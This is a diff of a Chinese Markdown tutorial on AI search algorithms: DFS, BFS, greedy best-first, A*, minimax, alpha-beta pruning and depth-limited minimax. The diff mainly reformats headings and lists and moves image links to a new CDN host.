-![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/LPgEbVQg2oZBSexmGWwcwfbdnVd.png) - -# 举个例子 +## 举个例子 要找到一个数字华容道谜题的解决方案,需要使用搜索算法。 -- 智能主体(Agent) +- 智能主体 (Agent) - - 感知其环境并对该环境采取行动的实体。 - - 例如,在导航应用程序中,智能主体将是一辆汽车的代表,它需要决定采取哪些行动才能到达目的地。 -- 状态(State) + 感知其环境并对该环境采取行动的实体。 + + 例如,在导航应用程序中,智能主体将是一辆汽车的代表,它需要决定采取哪些行动才能到达目的地。 + +- 状态 (State) + + 智能主体在其环境中的配置。 + + 例如,在一个数字华容道谜题中,一个状态是所有数字排列在棋盘上的任何一种方式。 - - 智能主体在其环境中的配置。 - - 例如,在一个数字华容道谜题中,一个状态是所有数字排列在棋盘上的任何一种方式。 - 初始状态(Initial State) - - 搜索算法开始的状态。在导航应用程序中,这将是当前位置。 + 搜索算法开始的状态。在导航应用程序中,这将是当前位置。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HCxXbwKFyof6DFx6FZ8c5EHknBh.png) +![](https://cdn.xyxsw.site/HCxXbwKFyof6DFx6FZ8c5EHknBh.png) -- 动作(Action) +- 动作 (Action) - - 一个状态可以做出的选择。更确切地说,动作可以定义为一个函数。当接收到状态$s$作为输入时,$Actions(s)$将返回可在状态$s$ 中执行的一组操作作为输出。 - - 例如,在一个数字华容道中,给定状态的操作是您可以在当前配置中滑动方块的方式。 + 一个状态可以做出的选择。更确切地说,动作可以定义为一个函数。当接收到状态$s$作为输入时,$Actions(s)$将返回可在状态$s$ 中执行的一组操作作为输出。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/MpgrbCjtDo1NlLxVyL1cMH6FnAg.png) + 例如,在一个数字华容道中,给定状态的操作是您可以在当前配置中滑动方块的方式。 -- 过渡模型(Transition Model) +![](https://cdn.xyxsw.site/MpgrbCjtDo1NlLxVyL1cMH6FnAg.png) - - 对在任何状态下执行任何适用操作所产生的状态的描述。 - - 更确切地说,过渡模型可以定义为一个函数。 - - 在接收到状态$s$和动作$a$作为输入时,$Results(s,a)$返回在状态$s$中执行动作$a$ 所产生的状态。 - - 例如,给定数字华容道的特定配置(状态$s$),在任何方向上移动正方形(动作$a$)将导致谜题的新配置(新状态)。 +- 过渡模型 (Transition Model) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/RKV2buJoroCV6SxiMUuct3dbnPU.png) + 对在任何状态下执行任何适用操作所产生的状态的描述。 -- 状态空间(State Space) + 更确切地说,过渡模型可以定义为一个函数。 - - 通过一系列的操作目标从初始状态可达到的所有状态的集合。 - - 例如,在一个数字华容道谜题中,状态空间由所有$\frac{16!}{2}$种配置,可以从任何初始状态达到。状态空间可以可视化为有向图,其中状态表示为节点,动作表示为节点之间的箭头。 + 在接收到状态$s$和动作$a$作为输入时,$Results(s,a)$返回在状态$s$中执行动作$a$ 所产生的状态。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/JdCqb2UI9ooWmdxk258cTIIznab.png) + 例如,给定数字华容道的特定配置(状态$s$),在任何方向上移动正方形(动作$a$)将导致谜题的新配置(新状态)。 -- 目标测试(Goal Test) +![](https://cdn.xyxsw.site/RKV2buJoroCV6SxiMUuct3dbnPU.png) - - 确定给定状态是否为目标状态的条件。例如,在导航应用程序中,目标测试将是智能主体的当前位置是否在目的地。如果是,问题解决了。如果不是,我们将继续搜索。 -- 路径成本(Path Cost) +- 状态空间 (State Space) - - 完成给定路径相关的代价。例如,导航应用程序并不是简单地让你达到目标;它这样做的同时最大限度地减少了路径成本,为您找到了达到目标状态的最快方法。 + 通过一系列的操作目标从初始状态可达到的所有状态的集合。 -# 解决搜索问题 + 例如,在一个数字华容道谜题中,状态空间由所有$\frac{16!}{2}$种配置,可以从任何初始状态达到。状态空间可以可视化为有向图,其中状态表示为节点,动作表示为节点之间的箭头。 -- 解(solution) +![](https://cdn.xyxsw.site/JdCqb2UI9ooWmdxk258cTIIznab.png) - - 从初始状态到目标状态的一系列动作。 - - 最优解(Optimal Solution) +- 目标测试 (Goal Test) + + 确定给定状态是否为目标状态的条件。例如,在导航应用程序中,目标测试将是智能主体的当前位置是否在目的地。如果是,问题解决了。如果不是,我们将继续搜索。 + +- 路径成本 (Path Cost) + + 完成给定路径相关的代价。例如,导航应用程序并不是简单地让你达到目标;它这样做的同时最大限度地减少了路径成本,为您找到了达到目标状态的最快方法。 + +## 解决搜索问题 + +### 解 (solution) + +从初始状态到目标状态的一系列动作。 + +### 最优解 (Optimal Solution) - 在所有解决方案中路径成本最低的解决方案。 -- 在搜索过程中,数据通常存储在节点(Node) 中,节点是一种包含以下数据的数据结构: +- 在搜索过程中,数据通常存储在节点 (Node) 中,节点是一种包含以下数据的数据结构: - - 状态——state - - 其父节点,通过该父节点生成当前节点——parent node - - 应用于父级状态以获取当前节点的操作——action - - 从初始状态到该节点的路径成本——path cost +- 状态——state +- 其父节点,通过该父节点生成当前节点——parent node +- 应用于父级状态以获取当前节点的操作——action +- 从初始状态到该节点的路径成本——path cost - 节点包含的信息使它们对于搜索算法非常有用。 - 它们包含一个状态,可以使用目标测试来检查该状态是否为最终状态。 +它们包含一个状态,可以使用目标测试来检查该状态是否为最终状态。 - 如果是,则可以将节点的路径成本与其他节点的路径代价进行比较,从而可以选择最佳解决方案。 +如果是,则可以将节点的路径成本与其他节点的路径代价进行比较,从而可以选择最佳解决方案。 - 一旦选择了节点,通过存储父节点和从父节点到当前节点的动作,就可以追溯从初始状态到该节点的每一步,而这一系列动作就是解决方案。 +一旦选择了节点,通过存储父节点和从父节点到当前节点的动作,就可以追溯从初始状态到该节点的每一步,而这一系列动作就是解决方案。 -- 然而,节点只是一个数据结构——它们不搜索,而是保存信息。为了实际搜索,我们使用了边域(frontier),即“管理”节点的机制。边域首先包含一个初始状态和一组空的已探索项目(探索集),然后重复以下操作,直到找到解决方案: +然而,节点只是一个数据结构——它们不搜索,而是保存信息。为了实际搜索,我们使用了边域 (frontier),即“管理”节点的机制。边域首先包含一个初始状态和一组空的已探索项目(探索集),然后重复以下操作,直到找到解决方案: - - 重复 +重复: - - 如果边域为空 +1. 如果边域为空 + - 停止,搜索问题无解 +2. 从边域中删除一个节点。这是将要考虑的节点。 +3. 如果节点包含目标状态。 + - 返回解决方案,停止 + 否则: + - 展开节点(找到可以从该节点到达的所有新节点),并将生成的节点添加到边域。 + - 将当前节点添加到探索集。 - - 停止,搜索问题无解 - - 从边域中删除一个节点。这是将要考虑的节点。 - - 如果节点包含目标状态 - - - 返回解决方案,停止 - - 否则 - - - 展开节点(找到可以从该节点到达的所有新节点),并将生成的节点添加到边域。 - - 将当前节点添加到探索集。 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/K53FbGmswoM7JAxqJZxcQEjdnES.png) - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/THhpbemEHoxl80xHeTjc9d35nVh.png) + + + + + +
边域从节点 A 初始化开始 -a. 取出边域中的节点 A,展开节点 A,将节点 B 添加到边域。 -b. 取出节点 B,展开,添加...... -c. 到达目标节点,停止,返回解决方案 +1. 取出边域中的节点 A,展开节点 A,将节点 B 添加到边域。 +2. 取出节点 B,展开,添加...... +3. 到达目标节点,停止,返回解决方案 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/XmnObIGaUoF4ssxkgzUc4vTUnmf.png) - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Wsntb9rLwogdAKxpJgLchrI8nae.png) + + + + + +
会出现什么问题?节点 A-> 节点 B-> 节点 A->......-> 节点 A。我们需要一个探索集,记录已搜索的节点! -## 不知情搜索(Uninformed Search) +### 不知情搜索 (Uninformed Search) -- 在之前对边域的描述中,有一件事没有被提及。在上面伪代码的第 1 阶段,应该删除哪个节点?这种选择对解决方案的质量和实现速度有影响。关于应该首先考虑哪些节点的问题,有多种方法,其中两种可以用堆栈(深度优先搜索)和队列(广度优先搜索)的数据结构来表示。 -- 深度优先搜索(Depth-First Search) +在之前对边域的描述中,有一件事没有被提及。在上面伪代码的第 1 阶段,应该删除哪个节点?这种选择对解决方案的质量和实现速度有影响。关于应该首先考虑哪些节点的问题,有多种方法,其中两种可以用堆栈(深度优先搜索)和队列(广度优先搜索)的数据结构来表示。 - - 深度优先搜索算法在尝试另一个方向之前耗尽每个方向。在这些情况下,边域作为堆栈数据结构进行管理。这里需要记住的流行语是“后进先出”。在将节点添加到边域后,第一个要删除和考虑的节点是最后一个要添加的节点。这导致了一种搜索算法,该算法在第一个方向上尽可能深入,直到尽头,同时将所有其他方向留到后面。“不撞南墙不回头” - - (一个例子:以你正在寻找钥匙的情况为例。在深度优先搜索方法中,如果你选择从裤子里搜索开始,你会先仔细检查每一个口袋,清空每个口袋,仔细检查里面的东西。只有当你完全筋疲力尽时,你才会停止在裤子里搜索,开始在其他地方搜索。) - - 优点 +#### 深度优先搜索 (Depth-First Search) - - 在最好的情况下,这个算法是最快的。如果它“运气好”,并且总是(偶然)选择正确的解决方案路径,那么深度优先搜索需要尽可能少的时间来找到解决方案。 - - 缺点 +深度优先搜索算法在尝试另一个方向之前耗尽每个方向。在这些情况下,边域作为堆栈数据结构进行管理。这里需要记住的流行语是“后进先出”。在将节点添加到边域后,第一个要删除和考虑的节点是最后一个要添加的节点。这导致了一种搜索算法,该算法在第一个方向上尽可能深入,直到尽头,同时将所有其他方向留到后面。“不撞南墙不回头” - - 所找到的解决方案可能不是最优的。 - - 在最坏的情况下,该算法将在找到解决方案之前探索每一条可能的路径,从而在到达解决方案之前花费尽可能长的时间。 +(一个例子:以你正在寻找钥匙的情况为例。在深度优先搜索方法中,如果你选择从裤子里搜索开始,你会先仔细检查每一个口袋,清空每个口袋,仔细检查里面的东西。只有当你完全筋疲力尽时,你才会停止在裤子里搜索,开始在其他地方搜索。) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/SGVWbCcTlobQwJxSjKvcNyJAnEG.png) +- 优点 + - 在最好的情况下,这个算法是最快的。如果它“运气好”,并且总是(偶然)选择正确的解决方案路径,那么深度优先搜索需要尽可能少的时间来找到解决方案。 +- 缺点 + - 所找到的解决方案可能不是最优的。 + - 在最坏的情况下,该算法将在找到解决方案之前探索每一条可能的路径,从而在到达解决方案之前花费尽可能长的时间。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Vv9Sb26QfoMrkqx5apycIYPJnlf.png) + + + + + +
-![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Gjd5bpdpcoIxGtxcUJ0c2OVfnOf.png) + + + + + +
-![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/M2vZbA5hpoT9RExuAGwcBHF1nmh.png) - - - 代码实现 +- 代码实现 ```python def remove(self): @@ -163,27 +189,33 @@ def remove(self): return node ``` -- 广度优先搜索(Breadth-First Search) +#### 广度优先搜索 (Breadth-First Search) - - 广度优先搜索算法将同时遵循多个方向,在每个可能的方向上迈出一步,然后在每个方向上迈出第二步。在这种情况下,边域作为队列数据结构进行管理。这里需要记住的流行语是“先进先出”。在这种情况下,所有新节点都会排成一行,并根据先添加的节点来考虑节点(先到先得!)。这导致搜索算法在任何一个方向上迈出第二步之前,在每个可能的方向上迈出一步。 - - (一个例子:假设你正在寻找钥匙。在这种情况下,如果你从裤子开始,你会看你的右口袋。之后,你会在一个抽屉里看一眼,而不是看你的左口袋。然后在桌子上。以此类推,在你能想到的每个地方。只有在你用完所有位置后,你才会回到你的裤子上,在下一个口袋里找。) - - 优点 +广度优先搜索算法将同时遵循多个方向,在每个可能的方向上迈出一步,然后在每个方向上迈出第二步。在这种情况下,边域作为队列数据结构进行管理。这里需要记住的流行语是“先进先出”。在这种情况下,所有新节点都会排成一行,并根据先添加的节点来考虑节点(先到先得!)。这导致搜索算法在任何一个方向上迈出第二步之前,在每个可能的方向上迈出一步。 - - 该算法可以保证找到最优解。 - - 缺点 +(一个例子:假设你正在寻找钥匙。在这种情况下,如果你从裤子开始,你会看你的右口袋。之后,你会在一个抽屉里看一眼,而不是看你的左口袋。然后在桌子上。以此类推,在你能想到的每个地方。只有在你用完所有位置后,你才会回到你的裤子上,在下一个口袋里找。) - - 几乎可以保证该算法的运行时间会比最短时间更长。 - - 在最坏的情况下,这种算法需要尽可能长的时间才能运行。 +- 优点 + - 该算法可以保证找到最优解。 +- 缺点 + - 几乎可以保证该算法的运行时间会比最短时间更长。 + - 在最坏的情况下,这种算法需要尽可能长的时间才能运行。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/S6SRbMUrcoYQCYxZGgJczkdcnBP.png) + + + + + +
-![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Xg7Qbv59IoQB3bxPFO1ceXgRnkf.png) + + + + + +
-![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/X34Rb5R7AonUg3xYs7DcQzSfndg.png) - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/PQeZbJv3Bom6NYxa6lccT084nFn.png) - - - 代码实现 +代码实现 ```python def remove(self): @@ -195,80 +227,83 @@ def remove(self): return node ``` -## 知情搜索(Informed Search) +## 知情搜索 (Informed Search) -- 广度优先和深度优先都是不知情的搜索算法。也就是说,这些算法没有利用他们没有通过自己的探索获得的关于问题的任何知识。然而,大多数情况下,关于这个问题的一些知识实际上是可用的。例如,当人类进入一个路口时,人类可以看到哪条路沿着解决方案的大致方向前进,哪条路没有。人工智能也可以这样做。一种考虑额外知识以试图提高性能的算法被称为知情搜索算法。 -- 贪婪最佳优先搜索(Greedy Best-First Search) +广度优先和深度优先都是不知情的搜索算法。也就是说,这些算法没有利用他们没有通过自己的探索获得的关于问题的任何知识。然而,大多数情况下,关于这个问题的一些知识实际上是可用的。例如,当人类进入一个路口时,人类可以看到哪条路沿着解决方案的大致方向前进,哪条路没有。人工智能也可以这样做。一种考虑额外知识以试图提高性能的算法被称为知情搜索算法。 - - 贪婪最佳优先搜索扩展最接近目标的节点,如启发式函数$h(n)$所确定的。顾名思义,该函数估计下一个节点离目标有多近,但可能会出错。贪婪最佳优先算法的效率取决于启发式函数的好坏。例如,在迷宫中,算法可以使用启发式函数,该函数依赖于可能节点和迷宫末端之间的曼哈顿距离。曼哈顿距离忽略了墙壁,并计算了从一个位置到目标位置需要向上、向下或向两侧走多少步。这是一个简单的估计,可以基于当前位置和目标位置的$(x,y)$坐标导出。 +### 贪婪最佳优先搜索 (Greedy Best-First Search) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Pe3WbBuTjomWjfxd5Ryc3OPPnSd.png) +贪婪最佳优先搜索扩展最接近目标的节点,如启发式函数$h(n)$所确定的。顾名思义,该函数估计下一个节点离目标有多近,但可能会出错。贪婪最佳优先算法的效率取决于启发式函数的好坏。例如,在迷宫中,算法可以使用启发式函数,该函数依赖于可能节点和迷宫末端之间的曼哈顿距离。曼哈顿距离忽略了墙壁,并计算了从一个位置到目标位置需要向上、向下或向两侧走多少步。这是一个简单的估计,可以基于当前位置和目标位置的$(x,y)$坐标导出。 - - 然而,重要的是要强调,与任何启发式算法一样,它可能会出错,并导致算法走上比其他情况下更慢的道路。不知情的搜索算法有可能更快地提供一个更好的解决方案,但它比知情算法更不可能这样。 +![](https://cdn.xyxsw.site/Pe3WbBuTjomWjfxd5Ryc3OPPnSd.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HkvdbcEdmo6RtjxOqqic31XFnSh.png) +然而,重要的是要强调,与任何启发式算法一样,它可能会出错,并导致算法走上比其他情况下更慢的道路。不知情的搜索算法有可能更快地提供一个更好的解决方案,但它比知情算法更不可能这样。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/SU2DbQeN2oxs5ex3K3NcMaJfnch.png) + + + + + +
-- $A^*$搜索 - - - 作为贪婪最佳优先算法的一种发展,$A^*$搜索不仅考虑了从当前位置到目标的估计成本$h(n)$,还考虑了直到当前位置为止累积的成本$g(n)$。通过组合这两个值,该算法可以更准确地确定解决方案的成本并在旅途中优化其选择。该算法跟踪(到目前为止的路径成本+到目标的估计成本,$g(n)+h(n)$),一旦它超过了之前某个选项的估计成本,该算法将放弃当前路径并返回到之前的选项,从而防止自己沿着$h(n)$错误地标记为最佳的却长而低效的路径前进。 - - - 然而,由于这种算法也依赖于启发式,所以它依赖它所使用的启发式。在某些情况下,它可能比贪婪的最佳第一搜索甚至不知情的算法效率更低。对于最佳的$A^*$搜索,启发式函数$h(n)$应该: - - - 可接受,从未高估真实成本。 - - - 一致性,这意味着从新节点到目标的估计路径成本加上从先前节点转换到该新节点的成本应该大于或等于先前节点到目标的估计路径成本。用方程的形式表示,$h(n)$是一致的,如果对于每个节点n$和后续节点n'$,从n$到$n'$的步长为c$,满足$h(n)≤h(n')+c$。 +### $A^*$搜索 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/BbIiba1pwo3uI7x4k7QcwicznGc.png) +作为贪婪最佳优先算法的一种发展,$A^{*}$ 搜索不仅考虑了从当前位置到目标的估计成本 $h(n)$ ,还考虑了直到当前位置为止累积的成本 $g(n)$ 。通过组合这两个值,该算法可以更准确地确定解决方案的成本并在旅途中优化其选择。该算法跟踪(到目前为止的路径成本 + 到目标的估计成本, $g(n)+h(n)$ ),一旦它超过了之前某个选项的估计成本,该算法将放弃当前路径并返回到之前的选项,从而防止自己沿着 $h(n)$ 错误地标记为最佳的却长而低效的路径前进。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HhG9bcJP2okKMMxY0FGclP0AnXY.png) +然而,由于这种算法也依赖于启发式,所以它依赖它所使用的启发式。在某些情况下,它可能比贪婪的最佳第一搜索甚至不知情的算法效率更低。对于最佳的$A^*$搜索,启发式函数$h(n)$应该: -# 对抗性搜索 +- 可接受,从未高估真实成本。 +- 一致性,这意味着从新节点到目标的估计路径成本加上从先前节点转换到该新节点的成本应该大于或等于先前节点到目标的估计路径成本。用方程的形式表示,$h(n)$是一致的,如果对于每个节点 n$和后续节点 n'$,从 n$到$n'$的步长为 c$,满足$h(n) ≤ h(n') + c$. + + + + + + +
+ +## 对抗性搜索 尽管之前我们讨论过需要找到问题答案的算法,但在对抗性搜索中,算法面对的是试图实现相反目标的对手。通常,在游戏中会遇到使用对抗性搜索的人工智能,比如井字游戏。 -- 极大极小算法(Minimax) +### 极大极小算法 (Minimax) - - 作为对抗性搜索中的一种算法,Minimax 将获胜条件表示为$(-1)$表示为一方,$(+1)$表示为另一方。进一步的行动将受到这些条件的驱动,最小化的一方试图获得最低分数,而最大化的一方则试图获得最高分数。 - - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/FYu3bQwCZofBgsxKDJiciTR7nzc.png) - -- 井字棋 AI 为例 - - - $s_0$: 初始状态(在我们的情况下,是一个空的3X3棋盘) - - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/WstnbmHwYoQauRxUQOCclz8Jngb.png) +- 作为对抗性搜索中的一种算法,Minimax 将获胜条件表示为$(-1)$表示为一方,$(+1)$表示为另一方。进一步的行动将受到这些条件的驱动,最小化的一方试图获得最低分数,而最大化的一方则试图获得最高分数。 - - $Players(s)$: 一个函数,在给定状态$$s$$的情况下,返回轮到哪个玩家(X或O)。 - - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/DKzTbJSZMoc1UkxT9KOcIHqvnob.png) - - - $Actions(s)$: 一个函数,在给定状态$$s$$的情况下,返回该状态下的所有合法动作(棋盘上哪些位置是空的)。 - - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/LuEzbLOaqox7yox5lXzcouWYnKc.png) - - - $Result(s, a)$: 一个函数,在给定状态$$s$$和操作$$a$$的情况下,返回一个新状态。这是在状态$$s$$上执行动作$$a$$(在游戏中移动)所产生的棋盘。 - - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/AdOVbwCGhoVcWVx21TMcdhbDnIg.png) - - - $Terminal(s)$: 一个函数,在给定状态$$s$$的情况下,检查这是否是游戏的最后一步,即是否有人赢了或打成平手。如果游戏已结束,则返回True,否则返回False。 - - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/EOfJbvoUMogVT8xsrTxcl5ugnrk.png) - - - $Utility(s)$: 一个函数,在给定终端状态s的情况下,返回状态的效用值:$$-1、0或1$$。 - - + ![](https://cdn.xyxsw.site/FYu3bQwCZofBgsxKDJiciTR7nzc.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/UcpAbpWtJoHb5Wx6ycrcG2ZZnIe.png) +#### 井字棋 AI 为例 -- 算法的工作原理: +- $s_0$: 初始状态(在我们的情况下,是一个空的 3X3 棋盘) - - 该算法递归地模拟从当前状态开始直到达到终端状态为止可能发生的所有游戏状态。每个终端状态的值为$(-1)$、$0$或$(+1)$。 + ![](https://cdn.xyxsw.site/WstnbmHwYoQauRxUQOCclz8Jngb.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/DN3mb0lbno2AHvx2M0JcrTvtnYf.png) +- $Players(s)$: 一个函数,在给定状态$s$的情况下,返回轮到哪个玩家(X 或 O)。 - - 根据轮到谁的状态,算法可以知道当前玩家在最佳游戏时是否会选择导致状态值更低或更高的动作。 + ![](https://cdn.xyxsw.site/DKzTbJSZMoc1UkxT9KOcIHqvnob.png) + +- $Actions(s)$: 一个函数,在给定状态$s$的情况下,返回该状态下的所有合法动作(棋盘上哪些位置是空的)。 + + ![](https://cdn.xyxsw.site/LuEzbLOaqox7yox5lXzcouWYnKc.png) + +- $Result(s, a)$: 一个函数,在给定状态$s$和操作$a$的情况下,返回一个新状态。这是在状态$s$上执行动作$a$(在游戏中移动)所产生的棋盘。 + + ![](https://cdn.xyxsw.site/AdOVbwCGhoVcWVx21TMcdhbDnIg.png) + +- $Terminal(s)$: 一个函数,在给定状态$s$的情况下,检查这是否是游戏的最后一步,即是否有人赢了或打成平手。如果游戏已结束,则返回 True,否则返回 False。 + + ![](https://cdn.xyxsw.site/EOfJbvoUMogVT8xsrTxcl5ugnrk.png) + +- $Utility(s)$: 一个函数,在给定终端状态 s 的情况下,返回状态的效用值:$-1、0 或 1$。 + +![](https://cdn.xyxsw.site/UcpAbpWtJoHb5Wx6ycrcG2ZZnIe.png) + +算法的工作原理: + +- 该算法递归地模拟从当前状态开始直到达到终端状态为止可能发生的所有游戏状态。每个终端状态的值为$(-1)$、$0$或$(+1)$。 + ![](https://cdn.xyxsw.site/DN3mb0lbno2AHvx2M0JcrTvtnYf.png) + +- 根据轮到谁的状态,算法可以知道当前玩家在最佳游戏时是否会选择导致状态值更低或更高的动作。 通过这种方式,在最小化和最大化之间交替,算法为每个可能的动作产生的状态创建值。举一个更具体的例子,我们可以想象,最大化的玩家在每一个回合都会问:“如果我采取这个行动,就会产生一个新的状态。如果最小化的玩家发挥得最好,那么该玩家可以采取什么行动来达到最低值?” @@ -278,42 +313,43 @@ def remove(self): 在得到这些值之后,最大化的玩家会选择最高的一个。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/EjB9bzgZNohQtkxXwXgcVrKwnth.png) +![](https://cdn.xyxsw.site/EjB9bzgZNohQtkxXwXgcVrKwnth.png) -- 具体算法: +具体算法: - - 给定状态 $s$ +- 给定状态 $s$ + - 最大化玩家在$Actions(s)$中选择动作$a$,该动作产生$Min-value(Result(s,a))$ 的最高值。 + - 最小化玩家在$Actions(s)$中选择动作$a$,该动作产生$Max-value(Result(s,a))$ 的最小值。 - - 最大化玩家在$Actions(s)$中选择动作$a$,该动作产生$Min-value(Result(s,a))$ 的最高值。 - - 最小化玩家在$Actions(s)$中选择动作$a$,该动作产生$Max-value(Result(s,a))$ 的最小值。 + ```txt + Function Max-Value(state): + v=-∞ + if Terminal(state): + return Utility(state) + for action in Actions(state): + v = Max(v, Min-Value(Result(state, action))) + return v + Function Min-Value(state): + v=+∞ + if Terminal(state): + return Utility(state) + for action in Actions(state): + v = Min(v, Max-Value(Result(state, action))) + return v + ``` - - Function Max-Value(state): - - $$v=-\infty$$ - - if $Terminal(state)$: - - return $Utility(state)$ - - for $action$ in $Actions(state)$: - - $$v = Max(v, Min-Value(Result(state, action)))$$ - - return $v$ - - Function Min-Value(state): - - $$v=\infty$$ - - if $Terminal(state)$: - - return $Utility(state)$ - - for $action$ in $Actions(state)$: - - $$v = Min(v, Max-Value(Result(state, action)))$$ - - return $v$ +不会理解递归?也许你需要看看这个:[阶段二:递归操作](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.6.4.2%E9%98%B6%E6%AE%B5%E4%BA%8C%EF%BC%9A%E9%80%92%E5%BD%92%E6%93%8D%E4%BD%9C.md) -不会理解递归?也许你需要看看这个:[阶段二:递归操作](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.6.4.2%E9%98%B6%E6%AE%B5%E4%BA%8C%EF%BC%9A%E9%80%92%E5%BD%92%E6%93%8D%E4%BD%9C.md) +### $\alpha$-$\beta$剪枝 (Alpha-Beta Pruning) -- $\alpha$-$\beta$剪枝(Alpha-Beta Pruning) +作为一种优化 Minimax 的方法,Alpha-Beta 剪枝跳过了一些明显不利的递归计算。在确定了一个动作的价值后,如果有初步证据表明接下来的动作可以让对手获得比已经确定的动作更好的分数,那么就没有必要进一步调查这个动作,因为它肯定比之前确定的动作不利。 - - 作为一种优化Minimax的方法,Alpha-Beta剪枝跳过了一些明显不利的递归计算。在确定了一个动作的价值后,如果有初步证据表明接下来的动作可以让对手获得比已经确定的动作更好的分数,那么就没有必要进一步调查这个动作,因为它肯定比之前确定的动作不利。 - - - 这一点最容易用一个例子来说明:最大化的玩家知道,在下一步,最小化的玩家将试图获得最低分数。假设最大化玩家有三个可能的动作,第一个动作的值为4。然后玩家开始为下一个动作生成值。要做到这一点,如果当前玩家做出这个动作,玩家会生成最小化者动作的值,并且知道最小化者会选择最低的一个。然而,在完成最小化器所有可能动作的计算之前,玩家会看到其中一个选项的值为3。这意味着没有理由继续探索最小化玩家的其他可能行动。尚未赋值的动作的值无关紧要,无论是10还是(-10)。如果该值为10,则最小化器将选择最低选项3,该选项已经比预先设定的4差。如果尚未估价的行动结果是(-10),那么最小化者将选择(-10)这一选项,这对最大化者来说更加不利。因此,在这一点上为最小化者计算额外的可能动作与最大化者无关,因为最大化玩家已经有了一个明确的更好的选择,其值为4。 +这一点最容易用一个例子来说明:最大化的玩家知道,在下一步,最小化的玩家将试图获得最低分数。假设最大化玩家有三个可能的动作,第一个动作的值为 4。然后玩家开始为下一个动作生成值。要做到这一点,如果当前玩家做出这个动作,玩家会生成最小化者动作的值,并且知道最小化者会选择最低的一个。然而,在完成最小化器所有可能动作的计算之前,玩家会看到其中一个选项的值为 3。这意味着没有理由继续探索最小化玩家的其他可能行动。尚未赋值的动作的值无关紧要,无论是 10 还是(-10)。如果该值为 10,则最小化器将选择最低选项 3,该选项已经比预先设定的 4 差。如果尚未估价的行动结果是(-10),那么最小化者将选择(-10)这一选项,这对最大化者来说更加不利。因此,在这一点上为最小化者计算额外的可能动作与最大化者无关,因为最大化玩家已经有了一个明确的更好的选择,其值为 4。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/LDZab4TeMoByvDxF1Onc8WQenpb.png) +![](https://cdn.xyxsw.site/LDZab4TeMoByvDxF1Onc8WQenpb.png) -- 深度限制的极大极小算法(Depth-Limited Minimax) +### 深度限制的极大极小算法 (Depth-Limited Minimax) - 总共有$255168$个可能的井字棋游戏,以及有$10^{29000}$个可能的国际象棋中游戏。到目前为止,最小最大算法需要生成从某个点到终端条件的所有假设游戏状态。虽然计算所有的井字棋游戏状态对现代计算机来说并不是一个挑战,但目前用来计算国际象棋是不可能的。 - - 深度限制的 Minimax 算法在停止之前只考虑预先定义的移动次数,而从未达到终端状态。然而,这不允许获得每个动作的精确值,因为假设的游戏还没有结束。为了解决这个问题,深度限制 Minimax 依赖于一个评估函数,该函数从给定状态估计游戏的预期效用,或者换句话说,为状态赋值。例如,在国际象棋游戏中,效用函数会将棋盘的当前配置作为输入,尝试评估其预期效用(基于每个玩家拥有的棋子及其在棋盘上的位置),然后返回一个正值或负值,表示棋盘对一个玩家对另一个玩家的有利程度。这些值可以用来决定正确的操作,并且评估函数越好,依赖它的 Minimax 算法就越好。 +深度限制的 Minimax 算法在停止之前只考虑预先定义的移动次数,而从未达到终端状态。然而,这不允许获得每个动作的精确值,因为假设的游戏还没有结束。为了解决这个问题,深度限制 Minimax 依赖于一个评估函数,该函数从给定状态估计游戏的预期效用,或者换句话说,为状态赋值。例如,在国际象棋游戏中,效用函数会将棋盘的当前配置作为输入,尝试评估其预期效用(基于每个玩家拥有的棋子及其在棋盘上的位置),然后返回一个正值或负值,表示棋盘对一个玩家对另一个玩家的有利程度。这些值可以用来决定正确的操作,并且评估函数越好,依赖它的 Minimax 算法就越好。 diff --git a/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md 